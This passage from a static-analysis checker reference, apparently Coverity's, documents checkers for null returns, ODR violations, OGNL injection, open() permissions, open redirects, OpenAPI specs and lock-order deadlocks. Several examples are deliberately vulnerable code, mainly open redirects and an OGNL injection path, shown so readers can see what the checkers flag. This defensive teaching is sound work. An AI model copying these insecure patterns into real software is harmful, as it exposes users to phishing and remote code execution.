tainted. Defaults to `NOSQL_QUERY_INJECTION:trust_rpc:false`. Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` **cov-analyze** command line options.

- `NOSQL_QUERY_INJECTION:trust_system_properties:<boolean>` - [Go, JavaScript, PHP, Python only] Setting this Web application security option to false causes the analysis to treat data from system properties as tainted. Defaults to `NOSQL_QUERY_INJECTION:trust_system_properties:true`. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` **cov-analyze** command line options.

### 4.230.5. Models

With **cov-make-library**, you can use the following Coverity Analysis primitives to create custom models for `NOSQL_QUERY_INJECTION`.

#### 4.230.5.1. Go

In Go, the primitives are defined in the package `synopsys.com/coverity-primitives/primitives` and take an `Interface` as an argument; for example:

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_nosql_function(data interface{}) {
 NoSqlSink(data);
}
```

The `NoSqlSink()` primitive instructs `NOSQL_QUERY_INJECTION` to report a defect if the argument to `injecting_into_nosql_function()` is from an untrusted source.

## 4.231. NULL\_RETURNS

Quality Checker

### 4.231.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, TypeScript, VB.NET

`NULL_RETURNS` finds errors that can result in program termination or a runtime exception.

Developers sometimes do not test function return values, and instead use the returned values in potentially dangerous ways. Every function that returns a null pointer must be checked against null before it can be considered safe to use. Failing to check null check pointer return values can cause crashes due to null dereferencing.

For C/C++ (as well as Objective-C/C++), this checker finds many instances where a pointer or reference is checked against `null` and then later dereferenced. The checker applies two different criteria:

Functions with user models always need to be checked, while others are treated statistically. By default, if 80% of unmodeled function/method call returns are checked for null pointer values, this checker identifies the remaining 20% as defects. See the `stat_threshold` option to change the default.

For Java and C#, the checker behaves as it does for the C/C++ languages.

For JavaScript or TypeScript, this checker finds many instances where a value is checked against `null` or `undefined` and then later used as an object (that is, by accessing one of its properties) or as a function (that is, by calling it). Every function that returns `null` or `undefined` must be checked against `null` or `undefined` before it can be considered safe to use as an object or as a function. Failing to check null or undefined return values can cause runtime exceptions. By default, if 80% of function call returns are checked for null or undefined values, this checker identifies the remaining 20% as defects. See the `stat_threshold` option to change the default.

There are some slight differences in the default option settings for different languages. For details, see Chapter 3, .

**Enabled by default:** `NULL_RETURNS` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

**Android (Java only):** For Android-based code, this checker finds issues related to user activities, screen activities, application state, and other items.

## 4.231.2. Examples

This section provides one or more `NULL_RETURNS` examples.

### 4.231.2.1. C/C++

```
void bad_malloc() {
 // malloc returns NULL on error
 struct some_struct *x = (struct some_struct*) malloc(sizeof(*x));
 // ERROR: memset dereferences possibly null pointer x
 memset(x, 0, sizeof(*x));
}
```

### 4.231.2.2. C#

```
public object CanReturnNull(bool condition)
{
 if (condition)
 return new object();
 return null;
}

public void PossibleNullDereference(bool condition)
{
 object data = CanReturnNull(condition);
 Console.WriteLine(data.ToString());
}
```

### 4.231.2.3. Go

In the following example, the final statement returns a defect.

```
type Config struct {
 host string
 port int
 setup bool
}

func CanReturnNullv(condition bool) *Config {
 if condition {
 return &Config{"host", 80, false}
 }
 return nil
}

func handle_err() {
}

func checked_retv_1(condition bool) {
 rv := CanReturnNullv(condition)
 if rv == nil {
 handle_err()
 }
}

func checked_retv_2(condition bool) {
 rv := CanReturnNullv(condition)
 if rv == nil {
 handle_err()
 }
}

func checked_retv_3(condition bool) {
 rv := CanReturnNullv(condition)
 if rv == nil {
 handle_err()
 }
}

func checked_retv_4(condition bool) {
 rv := CanReturnNullv(condition)
 if rv == nil {
 handle_err()
 }
}

func not_checked_retv(condition bool) {
 CanReturnNullv(condition).port = 8000
}
```

#### 4.231.2.4. Java

```
public class NullReturnsExample1 {
 static int count = 0;

 public static Object returnA() {
 return null;
 }
 public static Object returnB() {
 return new Object();
 }
 public static void testA() {
 // This demonstrates a very straightforward null-return bug
 returnA().toString();
 }
 public static void testB() {
 // no bug here
 returnB().toString();
 }
}
```

#### 4.231.2.5. JavaScript

```
function getName(userInput) {
 var pos = userInput.indexOf("name:");
 if (pos >= 0) {
 return userInput.substring(pos + "name:".length);
 }
 // This function can return null
 return null;
}

function checkedExample(userInput) {
 var name = getName(userInput);
 // Name is checked against null
 if (name) {
 console.log("name: " + name);
 }
}

function uncheckedExample(userInput) {
 var name = getName(userInput);
 // Name can be null here
 return name.substring(0,8);
}
```

#### 4.231.2.6. VB.NET

The following code shows code that might cause a `NULL_RETURNS` defect. The defect would be returned for the `Dim data As Object` assignment.

```

Public Class NullReturns
 Public Function CanReturnNull(ByVal condition As Boolean) As Object
 If condition Then
 Return New Object()
 End If
 Return Nothing
 End Function

 Public Sub PossibleNullDereference(ByVal condition As Boolean)
 Dim data As Object = CanReturnNull(condition)
 Console.WriteLine(data.ToString())
 End Sub
End Class

```

### 4.231.3. Options

This section describes one or more `NULL_RETURNS` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `NULL_RETURNS:allow_unimpl: boolean` - This option reports unchecked, unimplemented functions (as opposed to only functions that are known to return `null`). Defaults to `NULL_RETURNS:allow_unimpl:false` (all applicable languages; does not apply to Go, JavaScript, TypeScript.)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

C# example:

```

public extern object CanReturnNullUnimpl(bool condition);

public void AllowUnimpl(bool condition)
{
 Object data = CanReturnNullUnimpl(condition);
 Console.WriteLine(data.ToString());
}

public void InferCanReturnNull(bool condition)
{
 if (CanReturnNullUnimpl(condition) == null) { /* ... */ }
 if (CanReturnNullUnimpl(condition) == null) { /* ... */ }
 if (CanReturnNullUnimpl(condition) != null) { /* ... */ }
 if (CanReturnNullUnimpl(condition) != null) { /* ... */ }
}

```

- `NULL_RETURNS:allow_unimpl_and_unchecked: boolean` - This option is only relevant with the `allow_unimpl` option. When set to `true`, it allows `NULL_RETURNS` to report when the result of an unimplemented function is dereferenced, even if no call to that function ever checks the return value for `null`. Previously, those would always be reported if the statistical parameters allowed

it; now without the option they will not be reported unless at least one call is checked.. Defaults to `NULL_RETURNS:allow_unimpl_and_unchecked:false` (all applicable languages; does not apply to Go, JavaScript, TypeScript.)

- `NULL_RETURNS:null_fields_config_file: path-to-config-file` - This option allows users to specify a configuration file and to call out any fields that should be considered null when read.

For example, a .json configuration file that specifies a field as null should look like the following:

```
[
 {
 scope : ["NameSpace", "Class"],
 field: "nullField"
 }
]
```

The `scope` is a list of strings including all the namespaces and class names. In the case of template classes, template arguments are omitted.

This would allow reporting this as a bug:

```
namespace NameSpace {
class Class {
 int *nullField;
 void test() {
 *nullField = 0; // Error, dereferencing potentially null field "nullField"
 }
}
```

And here is an example for setting a global namespace. If the class/struct is in the global namespace, just use its name as the first entry in the scope list.

```
[
 {
 scope: ["my_favorite_struct"],
 field: "nullField"
 },
 {
 scope: ["Class"],
 field: "nullField"
 },
 {
 scope: ["NameSpace", "Class2"],
 field: "nullField"
 }
]
```

- `NULL_RETURNS:stat_bias:<number>` - This option specifies a number to add to the check count that biases the checker to report defects for functions that do not occur often in the program. The value

of this option and the `stat_threshold` option affects the calculation used by the checker to identify defects (see `stat_threshold` for details). Defaults to `NULL_RETURNS:stat_bias:0` (for C, C++, Objective-C, Objective-C++, Go). Defaults to `NULL_RETURNS:stat_bias:3` (for C#, Java, VB.NET). Defaults to `NULL_RETURNS:stat_bias:1` (for JavaScript and TypeScript).

This checker option is automatically set to `10` if the `--aggressiveness-level` option of **cov-analyze** is set to `medium` (or to `high`).

For example, use

```
> cov-analyze -co NULL_RETURNS:stat_bias:5
```

to increase the number of defects found for functions that do not occur often in the program.

- `NULL_RETURNS:stat_include_max_checked:boolean` - This C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, TypeScript option when enabled causes the checker to report defects even when every instance of the function has its return value checked.

Defaults to `NULL_RETURNS:stat_include_max_checked:true` for C/C++, C#, Go, Java, and VB.NET.

Defaults to `NULL_RETURNS:stat_include_max_checked:false` for JavaScript and TypeScript.

The option is automatically set to `true` if the `--aggressiveness-level` option of **cov-analyze** is set to `medium` or `higher`.

- `NULL_RETURNS:stat_min_checked:number` - This C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, TypeScript option sets the minimum number of call sites that must have their value checked for the statistical analysis to conclude that the function should always have its return value checked. Defaults to `NULL_RETURNS:stat_min_checked:0` (for C, C#, C++, Go, Java, Objective-C, Objective-C++, VB.NET). Defaults to `NULL_RETURNS:stat_min_checked:1` (for JavaScript and TypeScript).

This checker option is automatically set to `0` if the `--aggressiveness-level` option of **cov-analyze** is set to `medium` (or to `high`).

- `NULL_RETURNS:stat_threshold:percentage` - This C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, TypeScript option sets the percentage of call sites that must have their value checked in order for the statistical analysis to conclude that the function or method should always have its return value checked. Defaults to `NULL_RETURNS:stat_threshold:80` (all languages).

The checker identifies a defect if the sum of checked uses and the value of the `stat_bias` option is greater than or equal to ( $\geq$ ) the total number of uses multiplied by the value of the `stat_threshold` option (that is,  $\text{checked uses} + \text{stat\_bias} \geq \text{total uses} * \text{stat\_threshold}$ ).

This checker option is automatically set to `50` if the `--aggressiveness-level` option of **cov-analyze** is set to `medium`. It is set to `0` if the `--aggressiveness-level` option is set to `high`.

For example, when `stat_threshold:85`, if 85% or more of the call sites to a function check its return value for null before using it, then `NULL_RETURNS` will report a defect on any uses of a

function's return value that is not first checked for null. If fewer than 85% of the call sites check the return value, then `NULL_RETURNS` will not report defects at the sites that do not check.

For Java,

```
> cov-analyze -co NULL_RETURNS:stat_threshold:90
```

requires that 90% of return values of the method should be checked before reporting a defect on the remaining 10%.

- `NULL_RETURNS:suppress_under_related_conditional:<boolean>`  
- This option suppresses defect reports that are heuristically identified as being controlled by a condition that is related to the call alleged as returning null. Defaults to `NULL_RETURNS:suppress_under_related_conditional:true` (C#, C, C++, Java, Objective-C, Objective-C++, VB.NET). Does not apply to Go, JavaScript, or TypeScript.

This checker option is automatically set to `false` if the `--aggressiveness-level` option of `cov-analyze` is set to `medium` (or to `high`).

When set to `true`, this option reduces false positive defect reports of the following pattern: `"if <something guaranteeing foo(x) returns non-null> dereference(foo(x));"`

#### 4.231.4. Models and Annotations

Before creating a model, note that the return value from any function or method that is explicitly modeled to return null must be checked before it is considered safe to use. The checker does not apply its statistical analysis to such functions.

##### 4.231.4.1. C/C++ Models

In general, incorrect inferences about the following can cause false positives:

- A function can return a null pointer.
- A function call dereferences a pointer believed to be null.
- A path through the code is executable.

To address the first two types of false positives, you can model this function for the C/C++ `NULL_RETURNS` checker:

```
void* my_null_return(unsigned int val)
{
 void* ptr = NULL;
 if (val & 0xFFFFFFFF0) {
 return NULL;
 }
 // val is <= 15. Try to allocate until success.
 while (!ptr) ptr = malloc(val * sizeof(void*));
}
```

```

return ptr;
}

```

This function's abstract behavior is that when `val` is smaller than 16, a non-null pointer is returned. When `val` is bigger than 15, NULL is returned. Because Coverity Analysis cannot currently track bitwise operations accurately enough to understand this function, the following abstract model is required to indicate the function's proper behavior:

```

void* my_null_return(unsigned int val)
{
 void* ptr;
 assert(ptr != NULL);
 if (val > 15)
 return NULL;
 return ptr;
}

```

It is clear here that for all values smaller than 16 a non-null pointer is returned, and for all values larger than 15 a null pointer is returned. Using the **cov-make-library** command with this function informs the analysis of the proper behavior.

If the analysis incorrectly determines that a function call dereferences a pointer then you can model the called function's abstract behavior properly so that the exact conditions under which the pointer is dereferenced are understood. An example is omitted as the stub function follows the same pattern as the preceding examples.

If the cause of the false positive is either an infeasible execution path or a contextual situation that applies only at a specific point in the code, the best means of suppression is a `//coverity` comment.



#### Note

The return value from any function this is explicitly modeled to return null must be checked before it is considered safe to use.

#### 4.231.4.2. Java Annotations

The Java `NULL_RETURNS` checker looks for the `CheckForNull` annotation, which you can add to classes and methods to force the checker to verify that the return value is checked for null.

For example, the following example shows how to annotate the `returnMaybeNull()` class so that `NULL_RETURNS` checks the return value for null:

```

import com.coverity.annotations.CheckForNull;
....
@CheckForNull
public Object returnMaybeNull() {
 String s = "thoueouh";
 if (s.equals(new Object().toString()))
 return null;
 return s;
}

```

```
}
```

See Section 5.4.2, “Adding Java Annotations to Increase Accuracy” and the Javadoc documentation at <install\_dir>/doc/<en|ja|ko|zh-cn>/annotations/index.html for more information.

## 4.231.5. Events

This section describes one or more events produced by the `NULL_RETURNS` checker.

- `alias` - [C# and Java] A potential null reference was assigned to another reference, thereby creating an alias.

`alias` - [JavaScript, TypeScript] Assigning a potentially null or undefined value.

- `call` - [JavaScript, TypeScript] Calling a potentially null or undefined value, or passing a potentially null or undefined value to a function that accesses a property of that value or calls that value.
- `dereference` - For C/C++ and Go, a potential null/nil pointer was passed to a function that dereferenced it or a potential null/nil pointer was dereferenced directly. For C# and Java, a potential null reference was passed to a function that dereferenced it, or a potential null reference was dereferenced directly.
- `identity` - A potentially null pointer (or null reference) was passed to a function (or method) that does not modify the pointer (or reference) and returns it back to the calling function.
- `identity_transfer` - [JavaScript, TypeScript] Passing a potentially null or undefined value to a function that returns it.
- `returned_null` - [C/C++ only] A function can return a null pointer.
- `var_assigned` - A variable was assigned to the return value or a function or method, and that value might be a null pointer or null reference.
- `null_array_access` - [C# and Java] Accessing an element of a null array.
- `null_array_length` - [C# and Java] Accessing the length of a null array.
- `null_field_access` - [C# and Java] Accessing a field of a null object. [Go] Accessing a field of a nil object.
- `null_inner_new` - [Java] Creating an inner class of a null object.
- `null_method_call` - [C# and Java] Calling a method on a null object.
- `null_synchronized` - [C# and Java] Synchronizing on a null object.
- `null_throw` - [C# and Java] Throwing a null exception.
- `null_unbox` - [C# and Java] Unboxing a null object.

- `null_unwrap` - [C# and Java] Unwrapping a null object.
- `property_access` - [JavaScript, TypeScript] Accessing a property of a potentially null or undefined value.
- `returned_null` - [C#, Java] A function can return a null reference.  
`returned_null` - [Go] A function can return a nil pointer.  
`returned_null` - [JavaScript, TypeScript] Returning a potentially null or undefined value.
- `var_assign` - [JavaScript, TypeScript] Assigning a variable to the potentially null or undefined return value of a function.

## 4.232. ODR\_VIOLATION

### 4.232.1. Overview

**Supported Languages:** C++

The `ODR_VIOLATION` checker reports violation of the C++ one-definition rule (ODR). Based on the MISRA C++-2008 Rule 3-2-2 rule implementation, it focuses on ODR violations that come from cases where multiple definitions are allowed but they must be identical.

The `ODR_VIOLATION` checker is disabled by default.

### 4.232.2. Examples

This section provides one or more `ODR_VIOLATION` examples. The multiple definitions below trigger an `ODR_VIOLATION` defect.

```
// TU1
class ODRBad { //ODR_VIOLATION
 int x;
};
// TU2
class ODRBad { //ODR_VIOLATION
 short x;
};
```

The following code also triggers an `ODR_VIOLATION` defect. The `if` clause references a static.

```
static Pattern sharedPattern;
template<typename T> void odrFunction(T store, const Expression *expr) { //
ODR_VIOLATION
 if(sharedPattern.match(expr)) {
 store->insert(sharedPattern, 0);
 }
}
```

### 4.232.3. Options

This section describes one or more `ODR_VIOLATION` options.

- `ODR_VIOLATION:report_typedefs:(boolean, default: false - If set to true , the typedefs will be considered to be subject to the ODR. In actual C++, typedefs have no linkage, but the MISRA rule requires this, and this might be considered useful for code consistency.`

## 4.233. OGNL\_INJECTION

Security Checker

### 4.233.1. Overview

**Supported Languages:** Java

`OGNL_INJECTION` finds Object-Graph Navigation Language (OGNL) injection vulnerabilities, which arise when uncontrolled dynamic data is passed into an OGNL evaluation API. OGNL can execute arbitrary Java code, in addition to performing language functions similar to those performed by Java Expression Language (EL).

**Disabled by default:** `OGNL_INJECTION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `OGNL_INJECTION` along with other Web application checkers, use the `--webapp-security` option.

### 4.233.2. Examples

This section provides one or more `OGNL_INJECTION` examples.

In the following example, the Struts 2 entry point `UIAction` has `this` tainted using the `GETTERS_AND_SETTERS` taint type. (This information is supplied by the framework configuration, not shown in the example.) Therefore, the field `pageTitle` is treated as though it is tainted. The tainted field then flows into `ActionSupport.getText`, a sink for this checker.

```
public abstract class UIAction extends ActionSupport {
 private String pageTitle;
 ...
 public String getPageTitle() {
 return getText(pageTitle);
 }
 public void setPageTitle(String pageTitle) {
 this.pageTitle = pageTitle;
 }
 ...
}
```

An attacker can specify `pageTitle` through the HTTP parameter `?pageTitle` and set its value to an OGNL statement. This statement is then interpreted by the OGNL evaluation, which allows for instantiating arbitrary Java classes. This allows the attacker to execute arbitrary code remotely.

### 4.233.3. Events

This section describes one or more events produced by the `OGNL_INJECTION` checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.
- `remediation` - Provides information about addressing the security vulnerability.

#### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

### 4.234. OPEN\_ARGS

Quality, Security Checker

#### 4.234.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`OPEN_ARGS` finds cases where a file is created with unspecified permissions. Specifically, the POSIX `open()` function can take either two or three arguments. The three-argument form should be used whenever the open flags include `O_CREAT`. The checker reports when the two-argument form is used with `O_CREAT`, because in that case, the file permissions are not specified and will be unpredictable.

The `open()` system call converts a pathname into a file descriptor. You can pass flags to `open()` specifying various options including the file's access permissions (read/write, read only, or write only), whether to create the file if it does not exist (`O_CREAT`), and whether the file can be appended to.

If you call `open()` with the `O_CREAT` option, you should also, for safety, pass an argument (mode argument) that explicitly sets the file's permissions.

**Disabled by default:** `OPEN_ARGS` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security checker enablement:** To enable `OPEN_ARGS` along with other security checkers, use the `--security` option with the `cov-analyze` command.

### 4.234.2. Examples

This section provides one or more `OPEN_ARGS` examples.

The following example generates a defect because the `open()` call will create a new file if `file.log` does not exist yet lacks a correct mode argument.

```
void open_args_example() {
 int fd = open("file.log", O_CREAT);
}
```

### 4.234.3. Events

This section describes one or more events produced by the `OPEN_ARGS` checker.

- `open_args`: A call to `open()` that creates a new file but lacks a mode argument.

## 4.235. OPEN\_REDIRECT

Security Checker

### 4.235.1. Overview

**Supported Languages:** C#, Go, Java, JavaScript, PHP, Python, Ruby, Visual Basic

`OPEN_REDIRECT` looks for instances where user-controlled input is used to specify a link to an external site that is then used in a redirect call (CWE 601 [↗](#)). An attacker can create a link to the trusted site that redirects to a malicious Web site. This enables the attacker to mount a phishing attack that can allow them to steal user credentials.

**For C#, Java, JavaScript, PHP, Python, and Visual Basic,** `OPEN_REDIRECT` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**For Go and Ruby,** `OPEN_REDIRECT` is enabled by default.

This is a tainted data checker. For more information, see Section 6.8, "Tainted Data Overview".

## 4.235.2. Defect Anatomy

A `OPEN_REDIRECT` defect shows how user-controlled input can reach a redirect sink. The defect consists of a path that starts with a user-controlled input and traces the program execution to a redirect call that redirects to an address that can be controlled by the user input.

## 4.235.3. Examples

This section provides one or more `OPEN_REDIRECT` examples.

### 4.235.3.1. C#

The following C# .NET code is vulnerable to open redirect.

```
string url = request.QueryString["url"];
Response.Redirect(url); // OPEN_REDIRECT defect
```

### 4.235.3.2. Go

The following code uses a user-controlled request parameter as part of a redirect URL. An attacker could create a URL to your site that redirects your users to a malicious site. An `OPEN_REDIRECT` defect is shown for the `http.Redirect` call.

```
package router

import "net/http"

func ToService(response http.ResponseWriter, request *http.Request){
 service:= request.FormValue("service")
 path := "http://" + service
 http.Redirect(response, request, path, http.StatusFound) // Defect here
}
```

### 4.235.3.3. Java

Consider the following implementation of the `doGet` method in a Java `HttpServlet` `InsecureServlet.java`:

```
public void doGet(HttpServletRequest request,
 HttpServletResponse response)
 throws ServletException, IOException
{
 String url= request.getParameter("url");
 response.sendRedirect(url); // OPEN_REDIRECT defect
}
```

### 4.235.3.4. JavaScript

The following code uses a user-controlled request parameter as the initial part of a redirect URL. An attacker could create a URL to your site that redirects your users to a malicious site.

```
var app = require('express')();
app.get("/open_redirect", function (req, res) {
 var url = "http://" + req.query.redirectTo;
 res.redirect(url);
});
```

#### 4.235.3.5. Python

The following Python code (which uses the Django framework) uses tainted data from a HTTP request as the target for a redirect.

```
from django.conf.urls import url
from django.shortcuts import redirect

def django_view(request):
 return redirect(request.GET('target'))

urlpatterns = [
 url(r'index', django_view)
]
```

#### 4.235.3.6. Ruby

The following Ruby on Rails code demonstrates redirecting to an HTTP request parameter without validation.

```
class ExampleController < ApplicationController
 def redirect
 redirect_to params[:next_page]
 end
end
```

#### 4.235.3.7. Visual Basic

```
Imports System.Web
Imports System.Web.Mvc
Imports System.Web.WebPages

Public Class MyController
 Inherits Controller

 Public Sub unsafeRedirect(request As HttpRequestBase)
 Dim url As String = request.QueryString("url")
 ' Open redirect
 Response.Redirect(url)
 End Sub

 Public Sub safeRedirect(request As HttpRequestBase)
 Dim url As String = request.QueryString("url")
 If (System.Web.WebPages.RequestExtensions.IsUrlLocalToHost(request, url))
 ' Safe redirect
 End If
 End Sub
End Class
```

```

 Response.Redirect(url)
 Else
 Response.Redirect("errorPage")
 End If
End Sub
End Class

```

## 4.235.4. Customizing the checker

### 4.235.4.1. C#

For C#, see the `Security.HttpRedirectSink(Object o)` primitive in Section 5.2.1.3, “C# and Visual Basic Primitives”.

### 4.235.4.2. Go

For Go, see the description of the `HttpRedirectSink()` primitive in Section 5.3.1.3, “Go Primitives”.

### 4.235.4.3. JavaScript

As with all tainted data flow checkers, you can use the `tainted_data` directive to indicate additional sources of untrusted data; this directive is described in the *Security Directive Reference*.

You can help the `OPEN_REDIRECT` checker find more defects using the `sink_for_checker` directive to specify additional functions arguments that take a URL and send a redirect message to the client; for details on this directive see the example below, as well as the description of `sink_for_checker` in the *Security Directive Reference*.

The following JSON file specifies a `sink_for_checker` directive for `OPEN_REDIRECT`. It tells the checker that the first argument of the function `vulnerableRedirect` is the URL to which the client will be redirected.

```

{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "javascript",
 "directives" : [
 {
 "sink_for_checker": "OPEN_REDIRECT",
 "sink": {
 "input": "arg1",
 "to_callsite": {
 "call_on": {
 "read_off_any": [
 { "property" : "vulnerableRedirect" }
]
 }
 }
 }
 }
]
}

```

```
}
```

If you pass the directive file above to `cov-analyze`, `OPEN_REDIRECT` reports a defect in the following source code.

```
var app = require('express')();
app.get("/open_redirect", function (req, res) {
 var url = "http://" + req.query.redirectTo;
 vulnerableRedirect (url);
});
```

#### 4.235.4.4. Visual Basic

For Visual Basic, you can use the `Security.HttpRedirectsSink` primitive; it marks a method parameter as being used as an HTTP address to redirect to. The `OPEN_REDIRECT` checker reports a defect if an unsafe user-controllable string is passed to this method.

See the `Security.HttpRedirectSink(Object o)` primitive in Section 5.2.1.3, “C# and Visual Basic Primitives”.

#### 4.235.5. Options

This section describes one or more `OPEN_REDIRECT` options.

You can set specific checker option values by passing them with `--checker-option` to the **`cov-analyze`** command. For details, refer to the *Coverity Command Reference*.

- `OPEN_REDIRECT:distrust_all:<boolean>` - [Go, JavaScript, PHP, and Python only] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `OPEN_REDIRECT:distrust_all:false`.

This checker option is automatically set to `true` if the `OPEN_REDIRECT:webapp-security-aggressiveness-level` option of the **`cov-analyze`** command is set to `high`.

- `OPEN_REDIRECT:trust_command_line:<boolean>` - [Go, JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `OPEN_REDIRECT:trust_command_line:true`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `OPEN_REDIRECT:trust_console:<boolean>` - [Go, JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data from the console as tainted. Defaults to `OPEN_REDIRECT:trust_console:true`. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `OPEN_REDIRECT:trust_cookie:<boolean>` - [Go, JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to `OPEN_REDIRECT:trust_cookie:false`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `OPEN_REDIRECT:trust_database:<boolean>` - [Go, JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data from a database as tainted. Defaults to

`OPEN_REDIRECT:trust_database:true` . Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.

- `OPEN_REDIRECT:trust_environment:<boolean>` - [Go, JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data from environment variables as tainted. Defaults to `OPEN_REDIRECT:trust_environment:true` . Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `OPEN_REDIRECT:trust_filesystem:<boolean>` - [Go, JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `OPEN_REDIRECT:trust_filesystem:true` . Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `OPEN_REDIRECT:trust_http:<boolean>` - [Go, JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `OPEN_REDIRECT:trust_http:false` . Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `OPEN_REDIRECT:trust_http_header:<boolean>` - [Go, JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `OPEN_REDIRECT:trust_http_header:true` . Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.
- `OPEN_REDIRECT:trust_network:<boolean>` - [Go, JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data from the network as tainted. Defaults to `OPEN_REDIRECT:trust_network:false` . Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `OPEN_REDIRECT:trust_rpc:<boolean>` - [Go, JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `OPEN_REDIRECT:trust_rpc:false` . Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `OPEN_REDIRECT:trust_system_properties:<boolean>` - [Go, JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data from system properties as tainted. Defaults to `OPEN_REDIRECT:trust_system_properties:true` . Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

## 4.236. OPENAPI.\*

Security

### 4.236.1. Overview

**Supported Languages:** OAsv2, OAsv3

`OPENAPI.*` checkers find security defects in APIs defined by the OpenAPI specification. Coverity supports the analysis of OpenAPI specification files through the `cov-analyze` command. This analysis leverages Spectral, an open source extensible program for finding security defects in APIs based on the

OpenAPI specification. For Coverity, the built-in Spectral checkers have been replaced with custom logic capable of detecting more complex defects, including those in third party OpenAPI extensions.

The OPENAPI.\* checkers are enabled by default. They can be disabled using the `cov-analyze` flag `--disable-openapi`. These checkers can be explicitly enabled using the flag `--enable-openapi`. These checkers can be disabled and enabled only as a group.

## 4.236.2. Examples

This section provides one or more OPENAPI.\* examples.

The OpenAPI specification file informs clients that protected operations require an API key. However, in the example below, the API key is transmitted as a query string parameter as indicated by the `ApiKey` object containing the field `in: query`. The Coverity OPENAPI.\* checker will flag this as a defect in the OpenAPI specification file and recommend that the field be changed to a value such as `in: header` to prevent leaking the API key in the URI. Of course, after modifying the specification file, developers will also need to modify the underlying API code so that it no longer expects the API key in the URI query string.

```
openapi: 3.0.0
info:
 title: Example API
 description: This is an Example API.
 version: 0.1.9
servers:
 - url: https://api.example.com/v1
components:
 securitySchemes:
 ApiKey:
 type: apiKey
 in: query //defect here
 name: APIKey
... SAMPLE CODE GOES HERE
```

## 4.237. ORDER\_REVERSAL

Quality, Concurrency Checker

### 4.237.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

ORDER\_REVERSAL finds many cases where the program acquires a pair of locks/mutexes in different orders in different places. This issue can lead to a deadlock if two threads simultaneously use the opposite order of acquisition.

Acquiring pairs of locks in the incorrect order can result in the program hanging. Because of thread interleaving, it is possible for two threads to each be waiting on a lock that the other thread has acquired (*deadlock*). Other threads attempting to acquire either of the two locks will also deadlock.

**Disabled by default:** `ORDER_REVERSAL` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Concurrency checker enablement:** To enable `ORDER_REVERSAL` along with other concurrency checkers that are disabled by default, use the `--concurrency` option with the `cov-analyze` command.

## 4.237.2. Examples

This section provides one or more `ORDER_REVERSAL` examples.

```
// Thread one enters this function
void deadlock_partA(struct directory *a, struct file *b) {

 spin_lock(a->lock); // Thread one acquires this lock
 spin_lock(b->lock); // before it can acquire this lock...
}

// Thread two enters this function
void deadlock_partB(struct directory *a, struct file *b) {

 spin_lock(b->lock); // Thread two acquires this lock
 spin_lock(a->lock); // Deadlock
}
```

## 4.237.3. Options

This section describes one or more `ORDER_REVERSAL` options.

You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

